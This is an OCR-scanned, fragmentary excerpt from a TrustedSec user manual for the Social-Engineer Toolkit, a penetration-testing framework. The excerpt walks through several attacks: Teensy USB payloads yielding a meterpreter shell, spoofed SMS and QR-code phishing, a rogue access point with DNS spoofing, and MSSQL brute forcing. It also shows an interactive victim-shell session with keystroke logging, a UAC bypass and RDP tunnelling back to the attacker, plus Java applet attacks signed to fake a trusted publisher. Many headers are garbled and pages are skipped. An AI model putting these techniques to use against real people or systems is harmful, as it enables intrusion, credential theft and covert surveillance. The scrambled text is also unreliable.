V _ y IHFQRMFITIOH SECURITY MHOE SIMPLE
63
\ (oo)_
(_) )\
Now that we have everything ready, SET exports a file called teensy.pde to the reports/
folder. Copy that reports folder to wherever you have Arduino installed. With this
attack, follow the instructions at PRJC on how to upload your code to the Teensy
board, its relatively simple you just need to install the Teensy Loader and the Teensy
libraries. Once you do that you will have an IDE interface called Arduino. One of the
MOST important aspects of this is to ensure you set your board to a Teensy USB
Keyboard/Mouse.
Sketch Help
Auto Format
Archive Sketch
Fix Encoding & Reload
« r> r\ Serial Monitor 1J-KM
Once you have this selected, drag your pde file into the Arduino interface.
Arduino/Teensy supports Linux, OSX, and Windows. Insert your USB device into the
computer and upload your code. This will program your device with the SET generated
code. Below is uploading and the code.
TRUSTED 5 e c info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
INFDRMfUIOIt SECURITY MADE SIMPLE
65
Once the USB device is inserted on the victim machine, once finished you should be
presented with a meterpreter shell.
TRUSTED Sec info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
INFDRMfUIOIt SECURITY MAGE SIMPLE
66
set> 7
The SMS module allows you to specially craft SMS messages and send them
to a person. You can spoof the SMS source.
You can use a predefined template, create your own template or specify
an arbitrary message. The main method for this would be to get a user to
click or coax them on a link in their browser and steal credentials or
perform other attack vectors.
set:sms>1
There are diferent attacks you can launch in the context of SMS spoofing,
select your own.
set> 1
(TS) T - R L J 5 T f E n 5 E C info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
V _ y IHFQRMFITIOH SECURITY MROt SIMPLE
68
Service Selection
There are diferent services you can use for the SMS spoofing, select
your own.
1. SohoOS (buggy)
2. Lleida.net (pay)
3. SMSGANG(pay)
set:sms>1
SMS sent
Welcome to the Wireless Attack Vector, this will create an access point
leveraging
your wireless card and redirect all DNS queries to you. The concept is fairly
simple,
SET will create a wireless access point, dhcp server, and spoof DNS to redirect
traffic
to the attacker machine. It will then exit out of that menu with everything running
as
a child process.
You can then launch any SET attack vector you want, for example the Java Applet
attack and
when a victim joins your access point and tries going to a website, will be
redirected to
your attacker machine.
This attack vector uses AirBase-NG, AirMon-NG, DNSSpoof, and dhcpd3 to work
properly.
[*] Now launch SET attack vectors within the menus and have a victim connect
via wireless.
[*] Be sure to come back to this menu to stop the services once your finished.
[*] Press [return] to go back to the main menu.
set>9
The QRCode Attack Vector will create a QRCode for you with whatever URL you
want.
When you have the QRCode Generated, select an additional attack vector within
SET and
deploy the QRCode to your victim. For example, generate a QRCode of the SET
Java Applet
and send the QRCode via a mailer.
16 Fast-Track Exploitation
Fast-Track was originally created several years ago and automated several complex
attack vectors. Fast-Track has additional exploits, attack vectors, and attacks that you
can use during a penetration test.
Select from the menu:
1) Social-Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) Update the Metasploit Framework
5) Update the Social-Engineer Toolkit
6) Update SET configuration
7) Help, Credits, and About
set>2
2) Custom Exploits
set:fasttrack>1
Welcome to the Social-Engineer Toolkit - Fast-Track Penetration Testing
Microsoft SQL Brute Forcer. This attack vector will attempt to identify live MSSQL
servers and brute force the weak account passwords that may be found. If that
occurs, SET will then compromise the affected system by deploying a binary to
hexadecimal attack vector which will take a raw binary, convert it to hexadecimal
and use a staged approach in deploying the hexadecimal form of the binary onto
the underlying system. At this point, a trigger will occur to convert the payload
back to a binary for us.
set:fasttrack:mssql>99
Welcome to the Social-Engineer Toolkit - Fast-Track Penetration Testing
platform. These attack vectors have a series of exploits and automation aspects
to assist in the art of penetration testing. SET now incorporates the attack
vectors leveraged in Fast-Track. All of these attack vectors have been completely
rewritten and customized from scratch as to improve functionality and
capabilities.
2) Custom Exploits
set:fasttrack>2
Welcome to the Social-Engineer Toolkit - Fast-Track Penetration Testing Exploits
Section. This
menu has obscure exploits and ones that are primarily python driven. This will
continue to grow over time.
1:172.16.32.170
Command: shell
Explanation: drop into a command shell
Example: shell
Command: ps
Explanation: List running processes on the victim machine.
Example: ps
Command: keystroke_start
Explanation: Starts a keystroke logger on the victim machine. It will stop when
shell exits.
Example: keystroke_start
Command: keystroke_dump
Explanation: Dumps the information from the keystroke logger. You must run
keystroke_start first.
Example: keystroke_dump
Command: lockworkstation
Explanation: Will lock the victims workstation forcing them to log back in. Useful
for capturing keystrokes.
Example: lockworkstation
set> shell
[*] Entering a Windows Command Prompt. Enter your commands below.
Access is denied.
set/command_shell>quit
[*] Dropping back to interactive shell...
bset> bypassuac 172.16.32.135 443 x64
[*] Attempting to upload UAC bypass to the victim machine.
[*] Initial bypass has been uploaded to victim successfully.
[*] Attempting to upload interactive shell to victim machine.
[*] SET Interactive shell successfully uploaded to victim.
[*] You should have a new shell spawned that is UAC safe in a few seconds.
set> [*] Connection received from: 172.16.32.170
set> quit
[*] Dropping back to list of victims.
*** Pick the number of the shell you want ***
1: 172.16.32.170:UAC-Safe
2: 172.16.32.170
set/command_shell>
From the example above, we had one shell connect back to us. Say 30 shells
connected back to us, you would see a listing of the different IP addresses and shells
available to you. In this scenario we ran into a small problem, we were targeting a
system that had User Access Control enabled. By initiating the bypassuac flag within
the SET interactive shell, we were able to spawn a "UAC Safe" shell on the system and
fully compromise it. Conversely, once we have a UAC-Safe based shell, we can also
leverage the "grabsystem <ipaddress> <port>" command to spawn a shell that is
running as SYSTEM on the victim machine. In the next example we'll port forward the
victims remote desktop protocol (RDP) port (3389) from the attacker machine over SSH
back to us.
set> ssh_tunnel
[!] Usage: ssh_tunnel <attack_ip> <attack_ssh_port> <attack_tunnelport> <user>
<pass> <tunnel_port>
set> ssh_tunnel 172.16.32.135 22 3389 root hackme 3389
[*] Telling the victim machine we are switching to SSH tunnel mode..
[*] Acknowledged the server supports SSH tunneling..
[*] Tunnel is establishing, check IP Address: 172.16.32.135 on port: 3389
[*] As an example if tunneling RDP you would rdesktop localhost 3389
set>
Now all we would need to do in our attack machine is initiate the "rdesktop
localhost:3389" to connect to the victim machine. Next, we'll do a simple keystroke
logging on the victim machine.
set> keystroke_start
[*] Keystroke logger has been started on the victim machine
set> keystroke_dump
this is a test
set>
These are just some of the commands available, you can also upload and download
files on the system, add a local admin, add a domain admin, and much more. Simply
type "help" o r " ? " in the interactive shell to test the features out.
18 SET Automation
SET has a feature called "set-automate" which will take an answer file (explained in a
second) and enter the commands in the menu mode for you. For example in prior
walkthroughs you have to enter each menu each time you prep the attack. So for
example if I wanted to do the Java Applet I would do this:
set>2
The Web Attack module is a unique way of utilizing multiple web-based attacks
in order to compromise the intended victim.
The Java Applet Attack method will spoof a Java Certificate and deliver a
metasploit based payload. Uses a customized java applet created by Thomas
Werth to deliver the payload.
The Multi-Attack method will add a combination of attacks through the web
attack
menu. For example you can utilize the Java Applet, Metasploit Browser,
Credential Harvester/Tabnabbing, all at once to see which is successful.
set:webattack> 1
The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.
1. Web Templates
2. Site Cloner
3. Custom Import
4. Return to main menu
Name: Description:
1. avoid_utf8_tolower (Normal)
2. shikata ga nai (Very Good)
3. alpha_mixed (Normal)
4. alpha upper (Normal)
5. call4_dword_xor (Normal)
6. countdown (Normal)
7. fnstenv_mov (Normal)
8. jmp_call_additive (Normal)
9. nonalpha (Normal)
10. nonupper (Normal)
11. Unicode mixed (Normal)
12. Unicode upper (Normal)
13. alpha2 (Normal)
14. No Encoding (None)
15. Multi-Encoder (Excellent)
16. Backdoored Executable (BEST)
(TS) T - R U 5 T E D 5 E C : info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
V _ y IHFQRMFITIOH SECURITY MHOE SIMPLE
80
1
2
1
https://gmail.com
no
If you create a text file called moo.txt or whatever you want and input that into it you
can call set-automate and it will enter it for you each time.
Q. I'm using NAT/Port forwarding, how can I configure SET to support this scenario?
NAT/Port Forwarding can be used in the cases where your SET machine is
not externally exposed and may be a different IP address than your reverse listener.
In some cases you may have your listener on a different IP address, if this is the case
the next question asks if your IP address is different for the reverse handler/listener. If
that is the case, specify yes, and enter your separate IP address for the listener.
Q. My Java Applet isn't working correctly and don't get prompted for the Applet when
browsing the site.
A. You either do not have Java installed on the victim machine, or your using a
NAT/Port forwarding scenario and you need to turn AUTO_DETECT=ON to
AUTO_DETECT=OFF. If you do a view source on the webpage, the applet should be
downloaded from your IP address that is accessible from the victim. In some cases
SET may grab the wrong interface IP as well, in this scenario you again will want to edit
the set_config and turn AUTO_DETECT to OFF
wanted. A few months back they released a new update that showed Publish:
(UNKNOWN) - PUBLISHERNAME. Although a bit of a hindrance, it wasn't bad. If a
prominent name was still used, the success ratio was not hindered and the attack
vector was still effective.
In the most recent version of Java, it now shows a big "UNKNOWN" under publisher
and that is it. This isn't a major showstopper however it does reduce the effectiveness
slightly on the success ratios on how SET works. In order to compensate for these
changes, the Java Repeater was introduced. If the victim clicks cancel on the applet, it
prompts the Java applet run again, over and over until they hit run. This is great but it
wasn't 100 percent.
Introduced in SET v1.4, you can now purchase your own code-signing certificate
($200.00ish) and sign your own certificates with whatever you want. This allows you to
sign the publisher name with whatever you want and get away with the attacks from
before.
You can create the request and copy and paste the data within the SET menus or you
can do it on your own and then import it into SET. Simply go into the Web Attack
vector and select the Create or Import a Code Signing certificate. This will replace the
Signed_Update.jar.orig which is the template used for all the Java Applet attacks. From
then on out, you will be able to leverage your code-signing certificate within the SET
attack vector.
#
# These are required fields
#
import sys
# switch over to import core
sys.path.append("src/core")
# import the core modules
try: reload(core)
except: import core
In this example, we create a simple module that will use the java applet attack vector,
clone a website and launch the attack for us. It handles creating the Metasploit
payloads and everything for us. Ultimately you can create whatever you want to using
the function calls built into SET or creating your own. Now if we run SET:
root@bt:/pentest/exploits/set# ./set
mmjTjTjTjTjTjTmmjTjTjTjTjTjTmmmmmmjTjTmmm
• ••••••TrTraTrTTaaaaaaaaaaTrTraaa
mft ft mmmmTtjTm'TT'TT mmmmmmmmmm'TT'TT mmm
mmjTjTjTjTjTjTmmjTjTjTjTjTjTjTjTmmmmjTjTmmm
Please read the readme/modules.txt for more information on how to create your
own modules.
o 8 o o
8 8 8
00Y0Y0. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. 08 o8P
8 ' 8 8 800008 8 .00008 Yb.. 8 8 8 8 8 8 8
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8
The core system files are located under src/core/core.py and can be modified and
expanded upon. Here is a list of all of the current function calls supported and their
parameters:
upx(path_to_file) # packs a binary via the UPX encoding, also obfuscates a bit better
as well.
(TS) T - R L I 5 T E D 5 E C info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
V _ y INFORHBIION SECURITY MODE SIMPLE